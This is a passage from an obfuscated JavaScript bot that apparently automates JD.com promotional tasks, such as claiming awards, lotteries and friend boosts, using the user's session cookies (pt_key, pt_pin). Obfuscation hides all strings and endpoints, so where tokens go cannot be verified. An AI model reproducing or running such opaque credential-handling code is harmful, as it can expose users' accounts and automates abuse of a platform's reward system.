_0xfd4038[_0xb3c9('1f2','A&sp')](_0x5d3c07,_0x202d01);},'puLcA':_0xfd4038[_0xb3c9('1f3','ST6I')],'AZiPJ':_0xfd4038[_0xb3c9('1f4','Tq0]')],'NQZZs':_0xfd4038[_0xb3c9('1f5','Xorc')],'zlldX':_0xfd4038[_0xb3c9('1f6','Hi&L')],'HUHEN':_0xfd4038[_0xb3c9('1f7','KqoH')],'xGpsu':_0xfd4038[_0xb3c9('1f8','p8(G')],'hRANk':function(_0x68520f,_0x58a381){return _0xfd4038[_0xb3c9('1f9','4&jl')](_0x68520f,_0x58a381);},'cAjCh':_0xfd4038[_0xb3c9('1fa','%YG$')],'RWZpK':_0xfd4038[_0xb3c9('1fb','sgNu')],'sLWki':_0xfd4038[_0xb3c9('1fc','UFS%')],'aylMy':_0xfd4038[_0xb3c9('1fd','O^Ux')],'glzlb':function(_0x3c16fe,_0x330350){return _0xfd4038[_0xb3c9('1fe','A)dp')](_0x3c16fe,_0x330350);},'mJJvb':function(_0x260e5e,_0x3c3f70){return _0xfd4038[_0xb3c9('1ff','vGPn')](_0x260e5e,_0x3c3f70);},'YkwGr':_0xfd4038[_0xb3c9('200','SI8%')],'JCFiY':_0xfd4038[_0xb3c9('201','56Y[')],'ABgFb':function(_0x4a4650,_0x56ccde){return _0xfd4038[_0xb3c9('202','Hi&L')](_0x4a4650,_0x56ccde);},'YzgXz':function(_0x4929fb,_0x25eba8){return _0xfd4038[_0xb3c9('203','sgNu')](_0x4929fb,_0x25eba8);},'nYJQY':_0xfd4038[_0xb3c9('204','RRYS')],'HmgQx':_0xfd4038[_0xb3c9('205','IV4a')],'qqoUK':function(_0x4f4139,_0x68c6f9){return _0xfd4038[_0xb3c9('206','[XP5')](_0x4f4139,_0x68c6f9);},'GdabU':_0xfd4038[_0xb3c9('207','oJ7R')],'jmsDn':function(_0x36beff,_0x181997){return _0xfd4038[_0xb3c9('208','FlxD')](_0x36beff,_0x181997);},'JxPwJ':_0xfd4038[_0xb3c9('209','D[D@')],'iCpKC':_0xfd4038[_0xb3c9('20a','A&sp')]};$[_0xb3c9('20b','oJ7R')](_0xfd4038[_0xb3c9('20c','7hNk')](taskPostUrl,_0xfd4038[_0xb3c9('20d','Tq0]')],_0xb3c9('20e','wR@t')+_0x3932c6),async(_0x42f843,_0x62cbaf,_0x164943)=>{var _0x14011c={'REwMe':function(_0x37679d,_0x552a49){return _0x810e98[_0xb3c9('20f','lVDY')](_0x37679d,_0x552a49);},'zYXCK':_0x810e98[_0xb3c9('210','54E@')],'VPRRp':_0x810e98[_0xb3c9('211','7hNk')]};try{if(_0x42f843){if(_0x810e98[_0xb3c9('212','Hi&L')](_0x810e98[_0xb3c9('213','[XP5')],_0x810e98[_0xb3c9('214','A&sp')])){_0x164943=JSON[_0xb3c9('83','eg1*')](_0x164943);if(_0x14011c[_0xb3c9('215','j]ox')](_0x164943[_0x14011c[_0xb3c9('216','oJ7R')]],0xd)){$[_0xb3c9('54','54E@')]=![];return;}if(_0x14011c[_0xb3c9('217','vGPn')](_0x164943[_0x14011c[_0xb3c9('218','12Q8')]],0x0)){$[_0xb3c9('5a','A)dp')]=_0x164943[_0x14011c[_0xb3c9('219','p8(G')]][_0xb3c9('21a','SI8%')];}else{$[_0xb3c9('21b','oJ7R')]=$[_0xb3c9('21c','IV4a')];}}else{console[_0xb3c9('21d','IV4a')](''+JSON[_0xb3c9('21e','12Q8')](_0x42f843));console[_0xb3c9('37','eg1*')]($[_0xb3c9('21f','Tq0]')]+_0xb3c9('220','vGPn'));}}else{if(_0x810e98[_0xb3c9('221','eg1*')](safeGet,_0x164943)){_0x164943=JSON[_0xb3c9('222','A)dp')](_0x164943);if(_0x810e98[_0xb3c9('223','4&jl')](_0x164943[_0xb3c9('224','[XP5')],0xc8)&&_0x164943[_0xb3c9('225','j]ox')]){if(_0x164943[_0xb3c9('226','ST6I')][_0xb3c9('227','D[D@')]){if(_0x810e98[_0xb3c9('228','bu#e')](_0x810e98[_0xb3c9('229','bu#e')],_0x810e98[_0xb3c9('22a','x1NV')])){console[_0xb3c9('3e','pLk9')](_0xb3c9('22b','UWcU')+_0x164943[_0xb3c9('22c','sgNu')]);}else{if(!_0x164943[_0xb3c9('104','USUq')][_0xb3c9('22d','56Y[')]){console[_0xb3c9('3e','pLk9')](_0xb3c9('22e','XZos'));await _0x810e98[_0xb3c9('22f','12Q8')](receiveOtherAwards,_0x3932c6);}else{if(_0x810e98[_0xb3c9('230','RRYS')](_0x810e98[_0xb3c9('231','0XYQ')],_0x810e98[_0xb3c9('232','pLk9')])){if(!cookie[_0xb3c9('90','SI8%')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('77','8^$1')](_0xb3c9('233','Hi&L'));let _0x46b9db=cookie[_0xb3c9('234','8^$1')](/pt_key=([^; ]+)(?=;?)/)[0x1];let _0x104c04=(+new Date())[_0xb3c9('235','Xorc')]();let _0x4428c6=$[_0xb3c9('236','ST6I')](_0x810e98[_0xb3c9('237','sgNu')](_0x810e98[_0xb3c9('238','eg1*')](_0x810e98[_0xb3c9('239',']q[h')](_0x46b9db,_0x810e98[_0xb3c9('23a','j]ox')]),function_id),_0x104c04));return{'url':''+JD_API_HOST+function_id,'body':body,'headers':{'Host':_0x810e98[_0xb3c9('23b','kKc[')],'pt-key':_0x46b9db,'Accept':_0x810e98[_0xb3c9('23c','msFj')],'time':_0x104c04[_0xb3c9('23d','A&sp')](),'source':'1','Referer':_0x810e98[_0xb3c9('23e','%YG$')],'Content-Type':_0x810e98[_0xb3c9('23f','Hi&L')],'sig':_0x4428c6,'User-Agent':_0x810e98[_0xb3c9('240','msFj')]}};}else{console[_0xb3c9('13','7hNk')](_0xb3c9('241','j]ox'));}}}}else{console[_0xb3c9('133','#5oK')](_0xb3c9('242','[XP5'));}}}}}catch(_0x48ad7b){if(_0x810e98[_0xb3c9('243','eAka')](_0x810e98[_0xb3c9('244','*IUv')],_0x810e98[_0xb3c9('245','lVDY')])){console[_0xb3c9('246','USUq')](_0xb3c9('247','*IUv')+_0x164943[_0xb3c9('248','Xorc')]);}else{$[_0xb3c9('249','8Yzp')](_0x48ad7b,_0x62cbaf);}}finally{if(_0x810e98[_0xb3c9('24a','W%VK')](_0x810e98[_0xb3c9('24b','8Yzp')],_0x810e98[_0xb3c9('24c','#5oK')])){exchangeFlag=process[_0xb3c9('24d','XZos')][_0xb3c9('24e','px$D')]||exchangeFlag;}else{_0x810e98[_0xb3c9('24f','O^Ux')](_0x44f46f,_0x164943);}}});});}function receiveOtherAwards(_0x4de34e){var _0x37570d={'nmKnz':function(_0x333432,_0x58c8ca){return _0x333432+_0x58c8ca;},'GuhZM':function(_0xabe8fc,_0x164cd){return _0xabe8fc+_0x164cd;},'iXScx':function(_0x6fc1e,_0x478279){return _0x6fc1e>=_0x478279;},'SvHKw':function(_0x4b0ba4,_0x25468b){return _0x4b0ba4+_0x25468b;},'GNbKW':function(_0x249e20,_0x27797){return _0x249e20+_0x27797;},'kMQwi':function(_0x3210e4,_0x12f7d9){return _0x3210e4===_0x12f7d9;},'iRdNc':_0xb3c9('250','D[D@'),'Ufakt':function(_0x2ef40d,_0x403486){return _0x2ef40d!==_0x403486;},'tKXNG':_0xb3c9('251','#5oK'),'mwpDN':_0xb3c9('252','#5oK'),'GUsDr':function(_0x50e9ec,_0x23969e){return _0x50e9ec(_0x23969e);},'OjwZR':_0xb3c9('253','sgNu'),'cfOSN':_0xb3c9('254','%YG$'),'nBWDT':function(_0x2ef544,_0x4c996e){return _0x2ef544===_0x4c996e;},'AxvxV':_0xb3c9('255','IV4a'),'jKocl':_0xb3c9('256','j]ox'),'bCQpn':function(_0x52acde,_0x510e5e,_0x5d0934){return _0x52acde(_0x510e5e,_0x5d0934);},'UUhAq':_0xb3c9('257','pLk9')};return new Promise(_0x44860a=>{$[_0xb3c9('258','0XYQ')](_0x37570d[_0xb3c9('259','W%VK')](taskPostUrl,_0x37570d[_0xb3c9('25a','wR@t')],_0xb3c9('25b','x1NV')+_0x4de34e+_0xb3c9('25c','eAka')),async(_0x2075cf,_0x4073f1,_0x52b4c7)=>{var _0x4c9d1a={'VeJzV':function(_0x11412e,_0xe5585c){return _0x37570d[_0xb3c9('25d','8^$1')](_0x11412e,_0xe5585c);},'QfUEK':function(_0x547a32,_0x36e484){return _0x37570d[_0xb3c9('25e','bu#e')](_0x547a32,_0x36e484);},'OWnaA':function(_0x5f316b,_0x450bc8){return _0x37570d[_0xb3c9('25f','Us6T')](_0x5f316b,_0x450bc8);},'VejeL':function(_0xe10639,_0x363380){return _0x37570d[_0xb3c9('260','kKc[')](_0xe10639,_0x363380);},'SKZTq':function(_0x486ada,_0x34f422){return _0x37570d[_0xb3c9('261','xgMb')](_0x486ada,_0x34f422);},'inazf':function(_0x25cd32,_0x39801f){return _0x37570d[_0xb3c9('262','A&sp')](_0x25cd32,_0x39801f);}};if(_0x37570d[_0xb3c9('263','BA!&')](_0x37570d[_0xb3c9('264','lVDY')],_0x37570d[_0xb3c9('265','0XYQ')])){try{if(_0x2075cf){if(_0x37570d[_0xb3c9('266','%YG$')](_0x37570d[_0xb3c9('267','pLk9')],_0x37570d[_0xb3c9('268','FlxD')])){console[_0xb3c9('a1','Us6T')](''+JSON[_0xb3c9('269','QPLX')](_0x2075cf));console[_0xb3c9('26a',']q[h')]($[_0xb3c9('2b','Hi&L')]+_0xb3c9('220','vGPn'));}else{let _0x237b16;if(time){_0x237b16=new Date(time);}else{_0x237b16=new Date();}return _0x4c9d1a[_0xb3c9('26b','vGPn')](_0x4c9d1a[_0xb3c9('26c','msFj')](_0x4c9d1a[_0xb3c9('26d','j]ox')](_0x4c9d1a[_0xb3c9('26e','UWcU')](_0x4c9d1a[_0xb3c9('26f','56Y[')](_0x237b16[_0xb3c9('270','xgMb')](),0x1),0xa)?_0x4c9d1a[_0xb3c9('271','A)dp')](_0x237b16[_0xb3c9('272','W%VK')](),0x1):_0x4c9d1a[_0xb3c9('273','KqoH')]('0',_0x4c9d1a[_0xb3c9('274','8^$1')](_0x237b16[_0xb3c9('275','8Yzp')](),0x1)),'月'),_0x4c9d1a[_0xb3c9('276','USUq')](_0x237b16[_0xb3c9('277','BA!&')](),0xa)?_0x237b16[_0xb3c9('278','O^Ux')]():_0x4c9d1a[_0xb3c9('279','px$D')]('0',_0x237b16[_0xb3c9('27a','sgNu')]())),'日');}}else{if(_0x37570d[_0xb3c9('27b','12Q8')](safeGet,_0x52b4c7)){if(_0x37570d[_0xb3c9('27c','lVDY')](_0x37570d[_0xb3c9('27d','XZos')],_0x37570d[_0xb3c9('27e','sgNu')])){console[_0xb3c9('c5','O^Ux')](_0xb3c9('27f','56Y[')+hour+_0xb3c9('280','*IUv')+vo[_0xb3c9('281','bu#e')]+_0xb3c9('282','0XYQ'));}else{_0x52b4c7=JSON[_0xb3c9('283','12Q8')](_0x52b4c7);console[_0xb3c9('158','RRYS')](_0x52b4c7[_0xb3c9('284','A&sp')]);}}}}catch(_0x479562){$[_0xb3c9('285','O^Ux')](_0x479562,_0x4073f1);}finally{if(_0x37570d[_0xb3c9('286','4&jl')](_0x37570d[_0xb3c9('287','Hi&L')],_0x37570d[_0xb3c9('288','pLk9')])){console[_0xb3c9('13','7hNk')](''+JSON[_0xb3c9('89','eg1*')](_0x2075cf));console[_0xb3c9('289','W%VK')]($[_0xb3c9('6e','sgNu')]+_0xb3c9('1c6','BA!&'));}else{_0x37570d[_0xb3c9('28a','p8(G')](_0x44860a,_0x52b4c7);}}}else{console[_0xb3c9('28b','Xorc')](''+JSON[_0xb3c9('28c','msFj')](_0x2075cf));console[_0xb3c9('28d','xgMb')]($[_0xb3c9('21f','Tq0]')]+_0xb3c9('f9','7hNk'));}});});}function exchange(_0x34ffe8=0x0){var _0xe6ee14={'dOFXV':_0xb3c9('28e','KqoH'),'AgHCo':function(_0x403518,_0x3782ed){return _0x403518!==_0x3782ed;},'BRwvY':_0xb3c9('28f','msFj'),'Bkboh':function(_0x3bb981,_0x2abe6b){return _0x3bb981(_0x2abe6b);},'qdxux':function(_0x211e60,_0x23b08a){return _0x211e60===_0x23b08a;},'cvKtG':_0xb3c9('290','xgMb'),'mQGZL':_0xb3c9('291','D[D@'),'NufnB':function(_0xae6607,_0x5ee3cc){return _0xae6607(_0x5ee3cc);},'pWDSN':function(_0x27b164,_0x638fb8,_0x50c195){return _0x27b164(_0x638fb8,_0x50c195);},'QfrxZ':_0xb3c9('292','[XP5')};return new Promise(_0x47405e=>{var _0x44dd2c={'DxOVL':_0xe6ee14[_0xb3c9('293','x1NV')],'liCSa':function(_0xcabfcb,_0x560984){return _0xe6ee14[_0xb3c9('294','p8(G')](_0xcabfcb,_0x560984);},'jFuMy':_0xe6ee14[_0xb3c9('295','Xorc')],'LLIVI':function(_0x1bc7ef,_0x3c6a1d){return _0xe6ee14[_0xb3c9('296','USUq')](_0x1bc7ef,_0x3c6a1d);},'AcQsK':function(_0x3230a2,_0x1b5fe4){return _0xe6ee14[_0xb3c9('297','msFj')](_0x3230a2,_0x1b5fe4);},'JaXUY':function(_0x7fdf8d,_0x1132fe){return _0xe6ee14[_0xb3c9('298','UFS%')](_0x7fdf8d,_0x1132fe);},'sosgR':_0xe6ee14[_0xb3c9('299','56Y[')],'IIGIC':_0xe6ee14[_0xb3c9('29a','RRYS')],'PUyFg':function(_0x306229,_0x3d108b){return _0xe6ee14[_0xb3c9('29b','UWcU')](_0x306229,_0x3d108b);}};$[_0xb3c9('29c','j]ox')](_0xe6ee14[_0xb3c9('29d','D[D@')](taskPostUrl,_0xe6ee14[_0xb3c9('29e','KqoH')],_0xb3c9('29f',']q[h')+_0x34ffe8),async(_0x34ccdc,_0x3a3c7a,_0x2906c3)=>{try{if(_0x34ccdc){if(_0x44dd2c[_0xb3c9('2a0','56Y[')](_0x44dd2c[_0xb3c9('2a1','eAka')],_0x44dd2c[_0xb3c9('2a2','lVDY')])){console[_0xb3c9('2a3','XZos')](e);$[_0xb3c9('2a4','UWcU')]($[_0xb3c9('bc','BA!&')],'',_0x44dd2c[_0xb3c9('2a5','%YG$')]);return[];}else{console[_0xb3c9('2a6','ST6I')](''+JSON[_0xb3c9('2a7','O^Ux')](_0x34ccdc));console[_0xb3c9('9a','sgNu')]($[_0xb3c9('2a8','8^$1')]+_0xb3c9('2a9','O^Ux'));}}else{if(_0x44dd2c[_0xb3c9('2aa','54E@')](safeGet,_0x2906c3)){_0x2906c3=JSON[_0xb3c9('2ab','xgMb')](_0x2906c3);if(_0x44dd2c[_0xb3c9('2ac','54E@')](_0x2906c3[_0xb3c9('224','[XP5')],0xc8)){$['db']+=_0x2906c3[_0xb3c9('2ad','wR@t')][_0xb3c9('2ae','ST6I')];console[_0xb3c9('2af','[XP5')](_0xb3c9('2b0','sgNu')+_0x2906c3[_0xb3c9('2b1','BA!&')][_0xb3c9('2b2','sgNu')]+_0xb3c9('2b3','KqoH'));}else{console[_0xb3c9('2af','[XP5')](_0xb3c9('2b4','j]ox')+_0x2906c3[_0xb3c9('2b5',']q[h')]);}}}}catch(_0x652da0){$[_0xb3c9('2b6','p8(G')](_0x652da0,_0x3a3c7a);}finally{if(_0x44dd2c[_0xb3c9('2b7','O^Ux')](_0x44dd2c[_0xb3c9('2b8','BA!&')],_0x44dd2c[_0xb3c9('2b9','%YG$')])){$[_0xb3c9('2ba','*IUv')](e,_0x3a3c7a);}else{_0x44dd2c[_0xb3c9('2bb','XZos')](_0x47405e,_0x2906c3);}}});});}function helpFriend(_0x15ed8b,_0x2ea8f8=_0xb3c9('2bc','Xorc')){var _0x41bec3={'AYYse':function(_0x3c1447,_0x2ce933){return _0x3c1447(_0x2ce933);},'vubdk':function(_0x50b0f1,_0xbb743b){return _0x50b0f1!==_0xbb743b;},'ykFvP':_0xb3c9('2bd','x1NV'),'dlVJa':function(_0x3b971f,_0x325e65){return _0x3b971f!==_0x325e65;},'pDlFW':_0xb3c9('2be','ST6I'),'kmLHR':function(_0x1a5572,_0x5eb4f5){return _0x1a5572(_0x5eb4f5);},'BvQAU':function(_0x3e2a90,_0x217a89){return _0x3e2a90===_0x217a89;},'mTyHO':_0xb3c9('2bf','xgMb'),'RThcU':_0xb3c9('2c0','Xorc'),'feWWM':function(_0x52ab56,_0xee4e0c){return _0x52ab56(_0xee4e0c);},'rtnMi':function(_0x54039a,_0x241808){return _0x54039a(_0x241808);},'GUVDF':function(_0x2fdac0,_0x20a673){return _0x2fdac0(_0x20a673);},'ypguN':function(_0x598a78,_0x9b3af5,_0x4f0577){return _0x598a78(_0x9b3af5,_0x4f0577);},'hekfs':_0xb3c9('2c1','sgNu')};return new Promise(_0x1eb147=>{var _0x1ec12a={'xFegI':function(_0x262aa8,_0x2ff1dd){return _0x41bec3[_0xb3c9('2c2','56Y[')](_0x262aa8,_0x2ff1dd);},'yfLpM':function(_0x198212,_0x29060d){return _0x41bec3[_0xb3c9('2c3','W%VK')](_0x198212,_0x29060d);},'AifeM':function(_0x10a3f7,_0x33aebf){return _0x41bec3[_0xb3c9('2c4','12Q8')](_0x10a3f7,_0x33aebf);}};$[_0xb3c9('2c5','x1NV')](_0x41bec3[_0xb3c9('2c6','j]ox')](taskPostUrl,_0x41bec3[_0xb3c9('2c7','x1NV')],_0xb3c9('2c8','8^$1')+_0x15ed8b+_0xb3c9('2c9','vGPn')+_0x2ea8f8),async(_0x15a942,_0x61cab7,_0x1c2b33)=>{var _0x2b07f4={'ZqhkJ':function(_0x3864cc,_0x5bbb76){return _0x41bec3[_0xb3c9('2ca','#5oK')](_0x3864cc,_0x5bbb76);}};try{if(_0x41bec3[_0xb3c9('2cb','p8(G')](_0x41bec3[_0xb3c9('2cc','D[D@')],_0x41bec3[_0xb3c9('2cd',']q[h')])){_0x1ec12a[_0xb3c9('2ce','lVDY')](_0x1eb147,_0x1c2b33);}else{if(_0x15a942){if(_0x41bec3[_0xb3c9('2cf','12Q8')](_0x41bec3[_0xb3c9('2d0','Hi&L')],_0x41bec3[_0xb3c9('2d1','KqoH')])){_0x2b07f4[_0xb3c9('2d2','p8(G')](_0x1eb147,_0x1c2b33);}else{console[_0xb3c9('12d','56Y[')](''+JSON[_0xb3c9('2d3','XZos')](_0x15a942));console[_0xb3c9('9a','sgNu')]($[_0xb3c9('60','XZos')]+_0xb3c9('2d4','eAka'));}}else{if(_0x41bec3[_0xb3c9('2d5','eg1*')](safeGet,_0x1c2b33)){_0x1c2b33=JSON[_0xb3c9('2d6','oJ7R')](_0x1c2b33);console[_0xb3c9('15a','j]ox')](_0x1c2b33[_0xb3c9('2d7','56Y[')]);}}}}catch(_0x3b5b03){$[_0xb3c9('2d8','pLk9')](_0x3b5b03,_0x61cab7);}finally{if(_0x41bec3[_0xb3c9('2d9','D[D@')](_0x41bec3[_0xb3c9('2da','Hi&L')],_0x41bec3[_0xb3c9('2db','UWcU')])){if(_0x1ec12a[_0xb3c9('2dc','W%VK')](safeGet,_0x1c2b33)){_0x1c2b33=JSON[_0xb3c9('2dd','p8(G')](_0x1c2b33);if(_0x1ec12a[_0xb3c9('2de','j]ox')](_0x1c2b33[_0xb3c9('2df','D[D@')],0xc8)){console[_0xb3c9('2e0','bu#e')](_0xb3c9('2e1','[XP5'));}else{console[_0xb3c9('21d','IV4a')](_0xb3c9('2e2','%YG$')+_0x1c2b33[_0xb3c9('2e3','4&jl')]);}}}else{_0x41bec3[_0xb3c9('2e4','x1NV')](_0x1eb147,_0x1c2b33);}}});});}function getWelfareInfo(){var _0x4c72ce={'KMsGE':function(_0x38e872,_0x1c0089){return _0x38e872(_0x1c0089);},'DOtVX':function(_0x2d24ac,_0x47c5d7){return _0x2d24ac===_0x47c5d7;},'RbaEG':_0xb3c9('2e5',']q[h'),'dtCYS':function(_0x1dd3fc,_0x4043c2){return _0x1dd3fc(_0x4043c2);},'stqpP':function(_0x1aead6,_0xefc9d){return _0x1aead6!==_0xefc9d;},'yiFFE':_0xb3c9('2e6','8Yzp'),'AcwNH':_0xb3c9('2e7','RRYS'),'jJjUN':function(_0x499e8d,_0x1c651e){return _0x499e8d===_0x1c651e;},'TLlEj':_0xb3c9('2e8','4&jl'),'HbHff':_0xb3c9('2e9','A)dp'),'bcigw':_0xb3c9('2ea','8^$1'),'tVfLa':function(_0x363b59,_0x182b9c,_0x24180a){return _0x363b59(_0x182b9c,_0x24180a);},'RMmul':_0xb3c9('2eb','vGPn'),'bxCyI':function(_0x318592,_0x271d0d){return _0x318592(_0x271d0d);},'xHHxw':_0xb3c9('2ec','8Yzp')};return new Promise(_0x47504c=>{var _0xd05fbf={'ZkQSg':function(_0x3163d2,_0x594426){return _0x4c72ce[_0xb3c9('2ed','8Yzp')](_0x3163d2,_0x594426);},'xXoSq':function(_0x3f3131,_0x237350){return _0x4c72ce[_0xb3c9('2ee','KqoH')](_0x3f3131,_0x237350);},'zQzKD':_0x4c72ce[_0xb3c9('2ef','A&sp')],'LJRZW':function(_0x3103d1,_0x1980fe){return _0x4c72ce[_0xb3c9('2f0','%YG$')](_0x3103d1,_0x1980fe);},'BuEhX':function(_0x47a5a4,_0x2838be){return _0x4c72ce[_0xb3c9('2f1','Tq0]')](_0x47a5a4,_0x2838be);},'aCdto':function(_0x1a5690,_0x346065){return _0x4c72ce[_0xb3c9('2f2','QPLX')](_0x1a5690,_0x346065);},'fAtzk':_0x4c72ce[_0xb3c9('2f3','UFS%')],'WeiIS':_0x4c72ce[_0xb3c9('2f4','QPLX')],'jNIgm':function(_0x58bf63,_0xf8b52a){return _0x4c72ce[_0xb3c9('2f5','7hNk')](_0x58bf63,_0xf8b52a);},'XVdeH':_0x4c72ce[_0xb3c9('2f6','SI8%')],'DgFBL':_0x4c72ce[_0xb3c9('2f7','56Y[')],'SFqlb':function(_0x5ed1f1,_0x5870c1){return _0x4c72ce[_0xb3c9('2f8','j]ox')](_0x5ed1f1,_0x5870c1);},'jstop':_0x4c72ce[_0xb3c9('2f9','Tq0]')],'QpSrz':function(_0x47ece6,_0x33d413,_0xd7901e){return _0x4c72ce[_0xb3c9('2fa','Tq0]')](_0x47ece6,_0x33d413,_0xd7901e);},'TwEOk':_0x4c72ce[_0xb3c9('2fb','eAka')]};$[_0xb3c9('2fc','Us6T')](_0x4c72ce[_0xb3c9('2fd','XZos')](taskUrl,_0x4c72ce[_0xb3c9('2fe','msFj')]),async(_0x5420d3,_0x401d75,_0x455f5f)=>{var _0x454c8e={'pTndK':function(_0x133a00,_0x1b3a62){return _0xd05fbf[_0xb3c9('2ff','O^Ux')](_0x133a00,_0x1b3a62);}};try{if(_0x5420d3){console[_0xb3c9('12d','56Y[')](''+JSON[_0xb3c9('300','p8(G')](_0x5420d3));console[_0xb3c9('246','USUq')]($[_0xb3c9('60','XZos')]+_0xb3c9('301','A&sp'));}else{if(_0xd05fbf[_0xb3c9('302','FlxD')](_0xd05fbf[_0xb3c9('303','msFj')],_0xd05fbf[_0xb3c9('304','D[D@')])){if(_0xd05fbf[_0xb3c9('305','56Y[')](safeGet,_0x455f5f)){_0x455f5f=JSON[_0xb3c9('306','*IUv')](_0x455f5f);if(_0xd05fbf[_0xb3c9('307','j]ox')](_0x455f5f[_0xb3c9('308','W%VK')],0xc8)&&_0x455f5f[_0xb3c9('104','USUq')]&&_0x455f5f[_0xb3c9('309','KqoH')][_0xb3c9('30a','x1NV')]){for(let _0x4914df of[..._0x455f5f[_0xb3c9('30b','UWcU')][_0xb3c9('30c','XZos')],..._0x455f5f[_0xb3c9('30d','kKc[')][_0xb3c9('30e','54E@')]]){if(_0xd05fbf[_0xb3c9('30f','IV4a')](_0xd05fbf[_0xb3c9('310','*IUv')],_0xd05fbf[_0xb3c9('311','UFS%')])){console[_0xb3c9('312','UWcU')](''+JSON[_0xb3c9('313','0XYQ')](_0x5420d3));console[_0xb3c9('21d','IV4a')]($[_0xb3c9('314','kKc[')]+_0xb3c9('315','4&jl'));}else{if(_0x4914df[_0xb3c9('316','#5oK')]){if(_0xd05fbf[_0xb3c9('317','Xorc')](_0xd05fbf[_0xb3c9('318','BA!&')],_0xd05fbf[_0xb3c9('319','Us6T')])){_0x455f5f=JSON[_0xb3c9('1cb','SI8%')](_0x455f5f);console[_0xb3c9('b9','SI8%')](_0x455f5f[_0xb3c9('31a','BA!&')]);}else{if(_0xd05fbf[_0xb3c9('31b','Hi&L')]($[_0xb3c9('31c','BA!&')],0x1))$[_0xb3c9('31d','USUq')][_0xb3c9('31e','RRYS')](_0x4914df[_0xb3c9('31f','XZos')]);if(_0x4914df[_0xb3c9('320','Tq0]')]){if(_0xd05fbf[_0xb3c9('321','oJ7R')](_0xd05fbf[_0xb3c9('322','eAka')],_0xd05fbf[_0xb3c9('323','x1NV')])){pinList[_0xb3c9('324','kKc[')](_0x4914df[_0xb3c9('325','IV4a')](/pt_pin=([^; ]+)(?=;?)/)&&_0x4914df[_0xb3c9('326',']q[h')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);}else{console[_0xb3c9('327','lVDY')]('【'+_0x4914df[_0xb3c9('328','8Yzp')]+_0xb3c9('329','xgMb'));await $[_0xb3c9('32a','msFj')](0x3e8);await _0xd05fbf[_0xb3c9('32b','sgNu')](getTaskList,_0x4914df[_0xb3c9('32c','Us6T')]);}}else{if(_0xd05fbf[_0xb3c9('32d','*IUv')](_0xd05fbf[_0xb3c9('32e','SI8%')],_0xd05fbf[_0xb3c9('32f','4&jl')])){console[_0xb3c9('330','oJ7R')]('【'+_0x4914df[_0xb3c9('331','%YG$')]+_0xb3c9('332','bu#e'));await _0xd05fbf[_0xb3c9('333','SI8%')](sendLottery,_0x4914df[_0xb3c9('334','eAka')],0x1);}else{console[_0xb3c9('335','%YG$')](''+JSON[_0xb3c9('300','p8(G')](_0x5420d3));console[_0xb3c9('327','lVDY')]($[_0xb3c9('336','Xorc')]+_0xb3c9('2d4','eAka'));}}await $[_0xb3c9('337','xgMb')](0x3e8);}}}}}}}else{console[_0xb3c9('26a',']q[h')](_0xb3c9('338','%YG$')+_0x455f5f[_0xb3c9('339','lVDY')]);}}}catch(_0xe74982){if(_0xd05fbf[_0xb3c9('33a','wR@t')](_0xd05fbf[_0xb3c9('33b',']q[h')],_0xd05fbf[_0xb3c9('33c','#5oK')])){$[_0xb3c9('285','O^Ux')](_0xe74982,_0x401d75);}else{_0x454c8e[_0xb3c9('33d','%YG$')](_0x47504c,_0x455f5f);}}finally{_0xd05fbf[_0xb3c9('33e','xgMb')](_0x47504c,_0x455f5f);}});});}function sendLottery(_0x7c00bc,_0x358849){var _0x484378={'FrMSi':function(_0x14bd45,_0x5a7799){return _0x14bd45(_0x5a7799);},'VuJMm':function(_0xf1560b,_0x434169){return _0xf1560b===_0x434169;},'YuFGO':_0xb3c9('33f','oJ7R'),'hfyBW':_0xb3c9('340','A)dp'),'wAWLa':function(_0x5d7236,_0x3e6a5b){return _0x5d7236!==_0x3e6a5b;},'gyuxq':_0xb3c9('341','oJ7R'),'SsmJI':_0xb3c9('342','56Y['),'wxUCy':_0xb3c9('343','O^Ux'),'vruMs':function(_0x251045,_0x43608e){return _0x251045(_0x43608e);},'nLBUh':_0xb3c9('344','IV4a'),'htudy':function(_0x2375b4,_0x5c22ab){return _0x2375b4!==_0x5c22ab;},'ONhIo':_0xb3c9('345','56Y['),'hPbJq':_0xb3c9('346','A&sp'),'nqHME':function(_0x1ef771,_0x1bc8c8,_0x5d3690){return _0x1ef771(_0x1bc8c8,_0x5d3690);},'cNCnO':_0xb3c9('347','xgMb')};return new Promise(_0x2ef033=>{var _0x566e2f={'IyBuu':function(_0x575fa2,_0x166ed9){return _0x484378[_0xb3c9('348','p8(G')](_0x575fa2,_0x166ed9);},'XjZyN':function(_0x30a0cc,_0x4540ea){return _0x484378[_0xb3c9('349','eg1*')](_0x30a0cc,_0x4540ea);},'JZjvv':function(_0x36aac9,_0x227f81){return _0x484378[_0xb3c9('34a','IV4a')](_0x36aac9,_0x227f81);},'eFgwJ':_0x484378[_0xb3c9('34b','bu#e')],'cwNQs':_0x484378[_0xb3c9('34c','56Y[')],'aqMkN':function(_0x3613ca,_0x503447){return _0x484378[_0xb3c9('34d','RRYS')](_0x3613ca,_0x503447);},'IabhR':function(_0x4c0f20,_0x29c162){return _0x484378[_0xb3c9('34e','8Yzp')](_0x4c0f20,_0x29c162);},'MNHzi':_0x484378[_0xb3c9('34f','Us6T')],'pemVs':_0x484378[_0xb3c9('350','Tq0]')],'rSDGG':_0x484378[_0xb3c9('351','Tq0]')],'PYpnT':function(_0x34df1f,_0x465ab2){return _0x484378[_0xb3c9('352','54E@')](_0x34df1f,_0x465ab2);},'OpwzV':function(_0x19aa1d,_0x4d492a){return _0x484378[_0xb3c9('353','8Yzp')](_0x19aa1d,_0x4d492a);},'fLnFS':_0x484378[_0xb3c9('354','Us6T')]};if(_0x484378[_0xb3c9('355','pLk9')](_0x484378[_0xb3c9('356','eg1*')],_0x484378[_0xb3c9('357','54E@')])){$[_0xb3c9('358','W%VK')](_0x484378[_0xb3c9('359','A&sp')](taskPostUrl,_0x484378[_0xb3c9('35a','Xorc')],_0xb3c9('35b','W%VK')+_0x7c00bc+_0xb3c9('35c','Us6T')+_0x358849),async(_0x218fc0,_0x2b6733,_0x2fb480)=>{var _0x31f5c5={'hsUdA':function(_0x1f18ea,_0x5a5dbd){return _0x566e2f[_0xb3c9('35d','kKc[')](_0x1f18ea,_0x5a5dbd);},'QEwwg':function(_0x1d2ecf,_0x75196d){return 